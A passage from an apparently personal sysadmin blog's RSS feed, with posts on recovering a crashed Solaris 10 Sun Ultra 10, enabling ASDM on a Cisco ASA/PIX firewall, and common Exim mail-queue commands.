&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l0&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000016&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;fffa9741 &lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;f004a64c &lt;span style=&#34;color:#ae81ff&#34;&gt;00000000&lt;/span&gt;fffe0000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;l4&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000016&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0000000000000000&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;000000000180&lt;/span&gt;c000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;syncing file systems&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dumping to &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;dev&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;dsk&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;c0t0d0s7, offset &lt;span style=&#34;color:#ae81ff&#34;&gt;107413504&lt;/span&gt;, content: kernel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; done: &lt;span style=&#34;color:#ae81ff&#34;&gt;15712&lt;/span&gt; pages dumped, compression ratio &lt;span style=&#34;color:#ae81ff&#34;&gt;2.54&lt;/span&gt;, dump succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rebooting&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resetting &lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sun Ultra &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt; UPA&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;PCI (UltraSPARC&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;IIi &lt;span style=&#34;color:#ae81ff&#34;&gt;440&lt;/span&gt;MHz), No Keyboard
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OpenBoot &lt;span style=&#34;color:#ae81ff&#34;&gt;3.25&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; MB (&lt;span style=&#34;color:#ae81ff&#34;&gt;50&lt;/span&gt; ns) memory installed, Serial &lt;span style=&#34;color:#75715e&#34;&gt;#15184795.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ethernet address &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;:e7:b3:&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;b, Host ID: &lt;span style=&#34;color:#ae81ff&#34;&gt;80e7&lt;/span&gt;b39b&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Rebooting with command: boot
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Boot device: &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;pci&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;f,&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;pci&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;ide&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;disk&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:a  &lt;span style=&#34;color:#a6e22e&#34;&gt;File&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; args:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SunOS Release &lt;span style=&#34;color:#ae81ff&#34;&gt;5.10&lt;/span&gt; Version Generic_137111&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;06&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;bit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copyright &lt;span style=&#34;color:#ae81ff&#34;&gt;1983&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2008&lt;/span&gt; Sun Microsystems, Inc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;  All rights reserved&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Use is subject to license terms&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hostname: ultra10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Loading smf(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;) service descriptions: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING: svccfg import &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;svc&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;manifest&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;application&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;database&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;mysql&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;xml failed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;svccfg import warnings&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; See &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;svc&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;log&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;system&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;manifest&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;import:default&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;log &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;dev&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;rdsk&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;c0t0d0s1 is clean
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ultra10 console login: root
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sep &lt;span style=&#34;color:#ae81ff&#34;&gt;29&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;23&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;02&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;52&lt;/span&gt; ultra10 login: ROOT LOGIN &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;dev&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;console
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Last login: Tue Sep &lt;span style=&#34;color:#ae81ff&#34;&gt;29&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;42&lt;/span&gt; from &lt;span style=&#34;color:#ae81ff&#34;&gt;192.168&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2.15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sun Microsystems Inc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;   SunOS &lt;span style=&#34;color:#ae81ff&#34;&gt;5.10&lt;/span&gt;      Generic January &lt;span style=&#34;color:#ae81ff&#34;&gt;2005&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;ultra10 &lt;span style=&#34;color:#f92672&#34;&gt;~&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Yesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..</p>
<p>I&rsquo;m so sick, here the paste of console recovery procedure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span>Type  <span style="color:#e6db74">&#39;go&#39;</span> to resume
</span></span><span style="display:flex;"><span>ok <span style="color:#960050;background-color:#1e0010">?</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1000000</span>
</span></span><span style="display:flex;"><span>Stack Underflow
</span></span><span style="display:flex;"><span>ok sync
</span></span><span style="display:flex;"><span>panic[cpu0]<span style="color:#f92672">/</span>thread<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>a100057ca0: sync initiated
</span></span><span style="display:flex;"><span>sched: software trap <span style="color:#ae81ff">0x7f</span>
</span></span><span style="display:flex;"><span>pid<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>, pc<span style="color:#f92672">=</span><span style="color:#ae81ff">0xf0050c7c</span>, sp<span style="color:#f92672">=</span><span style="color:#ae81ff">0x2a100056e81</span>, tstate<span style="color:#f92672">=</span><span style="color:#ae81ff">0x8800001401</span>, context<span style="color:#f92672">=</span><span style="color:#ae81ff">0x0</span>
</span></span><span style="display:flex;"><span>g1<span style="color:#f92672">-</span>g7: <span style="color:#ae81ff">104</span>da44, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">183</span>f000, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1082400</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">2</span>a100057ca0
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">00000000</span>fffa9d10 unix:sync_handler<span style="color:#f92672">+</span><span style="color:#ae81ff">138</span> (fffe5718, <span style="color:#ae81ff">1000000</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1083400</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">181500</span>                                             <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l0<span style="color:#f92672">-</span><span style="color:#ae81ff">3</span>: <span style="color:#ae81ff">00000000018621</span>b0 <span style="color:#ae81ff">0000000001862000</span> <span style="color:#ae81ff">000000000000017</span>f <span style="color:#ae81ff">0000000001845800</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l4<span style="color:#f92672">-</span><span style="color:#ae81ff">7</span>: <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">000000000183</span>f000 <span style="color:#ae81ff">0000000000000009</span> <span style="color:#ae81ff">0000000001810400</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">00000000</span>fffa9de0 unix:vx_handler<span style="color:#f92672">+</span><span style="color:#ae81ff">80</span> (fffe5718, <span style="color:#ae81ff">181</span>dfe8, f0000000, fffe0000, <span style="color:#ae81ff">181</span>e                                             <span style="color:#ae81ff">0</span>f0, f003bda1)
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l0<span style="color:#f92672">-</span><span style="color:#ae81ff">3</span>: <span style="color:#ae81ff">000000000181e0</span>f0 <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">0000000000000001</span> <span style="color:#ae81ff">0000000000000001</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l4<span style="color:#f92672">-</span><span style="color:#ae81ff">7</span>: <span style="color:#ae81ff">0000000001810</span>c00 <span style="color:#ae81ff">00000000</span>f0000000 <span style="color:#ae81ff">0000000001000000</span> <span style="color:#ae81ff">0000000001018998</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">00000000</span>fffa9e90 unix:callback_handler<span style="color:#f92672">+</span><span style="color:#ae81ff">20</span> (fffe5718, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l0<span style="color:#f92672">-</span><span style="color:#ae81ff">3</span>: <span style="color:#ae81ff">0000000000000016</span> <span style="color:#ae81ff">00000000</span>fffa9741 <span style="color:#ae81ff">00000000</span>f004a64c <span style="color:#ae81ff">00000000</span>fffe0000
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">%</span>l4<span style="color:#f92672">-</span><span style="color:#ae81ff">7</span>: <span style="color:#ae81ff">0000000000000016</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">000000000180</span>c000
</span></span><span style="display:flex;"><span>syncing file systems<span style="color:#f92672">...</span> <span style="color:#ae81ff">3</span> done
</span></span><span style="display:flex;"><span>dumping to <span style="color:#f92672">/</span>dev<span style="color:#f92672">/</span>dsk<span style="color:#f92672">/</span>c0t0d0s7, offset <span style="color:#ae81ff">107413504</span>, content: kernel
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">100</span><span style="color:#f92672">%</span> done: <span style="color:#ae81ff">15712</span> pages dumped, compression ratio <span style="color:#ae81ff">2.54</span>, dump succeeded
</span></span><span style="display:flex;"><span>rebooting<span style="color:#f92672">...</span>
</span></span><span style="display:flex;"><span>Resetting <span style="color:#f92672">...</span>
</span></span><span style="display:flex;"><span>Sun Ultra <span style="color:#ae81ff">5</span><span style="color:#f92672">/</span><span style="color:#ae81ff">10</span> UPA<span style="color:#f92672">/</span>PCI (UltraSPARC<span style="color:#f92672">-</span>IIi <span style="color:#ae81ff">440</span>MHz), No Keyboard
</span></span><span style="display:flex;"><span>OpenBoot <span style="color:#ae81ff">3.25</span>, <span style="color:#ae81ff">512</span> MB (<span style="color:#ae81ff">50</span> ns) memory installed, Serial <span style="color:#75715e">#15184795.</span>
</span></span><span style="display:flex;"><span>Ethernet address <span style="color:#ae81ff">8</span>:<span style="color:#ae81ff">0</span>:<span style="color:#ae81ff">20</span>:e7:b3:<span style="color:#ae81ff">9</span>b, Host ID: <span style="color:#ae81ff">80e7</span>b39b<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Rebooting with command: boot
</span></span><span style="display:flex;"><span>Boot device: <span style="color:#f92672">/</span>pci<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>f,<span style="color:#ae81ff">0</span><span style="color:#f92672">/</span>pci<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span><span style="color:#f92672">/</span>ide<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span><span style="color:#f92672">/</span>disk<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>:a  <span style="color:#a6e22e">File</span> <span style="color:#f92672">and</span> args:
</span></span><span style="display:flex;"><span>SunOS Release <span style="color:#ae81ff">5.10</span> Version Generic_137111<span style="color:#f92672">-</span><span style="color:#ae81ff">06</span> <span style="color:#ae81ff">64</span><span style="color:#f92672">-</span>bit
</span></span><span style="display:flex;"><span>Copyright <span style="color:#ae81ff">1983</span><span style="color:#f92672">-</span><span style="color:#ae81ff">2008</span> Sun Microsystems, Inc<span style="color:#f92672">.</span>  All rights reserved<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Use is subject to license terms<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Hostname: ultra10
</span></span><span style="display:flex;"><span>Loading smf(<span style="color:#ae81ff">5</span>) service descriptions: <span style="color:#ae81ff">1</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>WARNING: svccfg import <span style="color:#f92672">/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span>svc<span style="color:#f92672">/</span>manifest<span style="color:#f92672">/</span>application<span style="color:#f92672">/</span>database<span style="color:#f92672">/</span>mysql<span style="color:#f92672">.</span>xml failed
</span></span><span style="display:flex;"><span>svccfg import warnings<span style="color:#f92672">.</span> See <span style="color:#f92672">/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span>svc<span style="color:#f92672">/</span>log<span style="color:#f92672">/</span>system<span style="color:#f92672">-</span>manifest<span style="color:#f92672">-</span>import:default<span style="color:#f92672">.</span>log <span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">/</span>dev<span style="color:#f92672">/</span>rdsk<span style="color:#f92672">/</span>c0t0d0s1 is clean
</span></span><span style="display:flex;"><span>ultra10 console login: root
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>Sep <span style="color:#ae81ff">29</span> <span style="color:#ae81ff">23</span>:<span style="color:#ae81ff">02</span>:<span style="color:#ae81ff">52</span> ultra10 login: ROOT LOGIN <span style="color:#f92672">/</span>dev<span style="color:#f92672">/</span>console
</span></span><span style="display:flex;"><span>Last login: Tue Sep <span style="color:#ae81ff">29</span> <span style="color:#ae81ff">22</span>:<span style="color:#ae81ff">21</span>:<span style="color:#ae81ff">42</span> from <span style="color:#ae81ff">192.168</span><span style="color:#f92672">.</span><span style="color:#ae81ff">2.15</span>
</span></span><span style="display:flex;"><span>Sun Microsystems Inc<span style="color:#f92672">.</span>   SunOS <span style="color:#ae81ff">5.10</span>      Generic January <span style="color:#ae81ff">2005</span>
</span></span><span style="display:flex;"><span>root<span style="color:#960050;background-color:#1e0010">@</span>ultra10 <span style="color:#f92672">~</span> <span style="color:#75715e">#</span>
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco - ASA/PIX enable ASDM</title>
      <link>https://www.deepreflect.net/2009/09/17/cisco-asapix-enable-asdm/</link>
      <pubDate>Thu, 17 Sep 2009 14:49:16 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=723</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a&amp;gt; enable
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a# configure terminal
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# interface ethernet1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# nameif inside
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# no shutdown
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Activate ASDM and enable http server.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# asdm image flash:/asdm.bin.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# http server enable.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open a connection for your inside network.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fw01a(Config)# http 192.168.1.0 255.255.255.0 inside&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Make sure all your config running properly.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# show running http
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http server enabled
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http 192.168.1.0 255.255.255.0 inside
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin&lt;/p&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a&gt; enable
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>fw01a# configure terminal
</span></span><span style="display:flex;"><span>fw01a(Config)# interface ethernet1
</span></span><span style="display:flex;"><span>fw01a(Config-if)# nameif inside
</span></span><span style="display:flex;"><span>fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
</span></span><span style="display:flex;"><span>fw01a(Config-if)# no shutdown
</span></span><span style="display:flex;"><span>fw01a(Config-if)#
</span></span></code></pre></div><p>Activate ASDM and enable http server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a(Config)# asdm image flash:/asdm.bin.
</span></span><span style="display:flex;"><span>fw01a(Config)# http server enable.
</span></span></code></pre></div><p>Open a connection for your inside network.</p>
<p><code>fw01a(Config)# http 192.168.1.0 255.255.255.0 inside</code></p>
<p>Make sure all your config running properly.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a(Config)# show running http
</span></span><span style="display:flex;"><span>http server enabled
</span></span><span style="display:flex;"><span>http 192.168.1.0 255.255.255.0 inside
</span></span><span style="display:flex;"><span>fw01a(Config)#
</span></span></code></pre></div><p>Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin</p>
]]></content:encoded>
    </item>
    <item>
      <title>Exim - Command</title>
      <link>https://www.deepreflect.net/2009/09/16/exim-command/</link>
      <pubDate>Wed, 16 Sep 2009 02:30:59 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=718</guid> 
      <description>&lt;p&gt;Some userfull Exim command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -bpmailq --- The mailq is relevant as it gives your the email IDs.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -M emailIDforce delivery of one message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -qf Force another queue run
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -qff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Force another queue run and attempt to flush frozen messages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -Mvl message IDView Log for message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -Mvb message IDView Body for message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -Mvh message IDView Header for message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -Mrm message IDReMove message (no errors sent)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exim -Mg message IDGive up and fail message, message bounces to sender
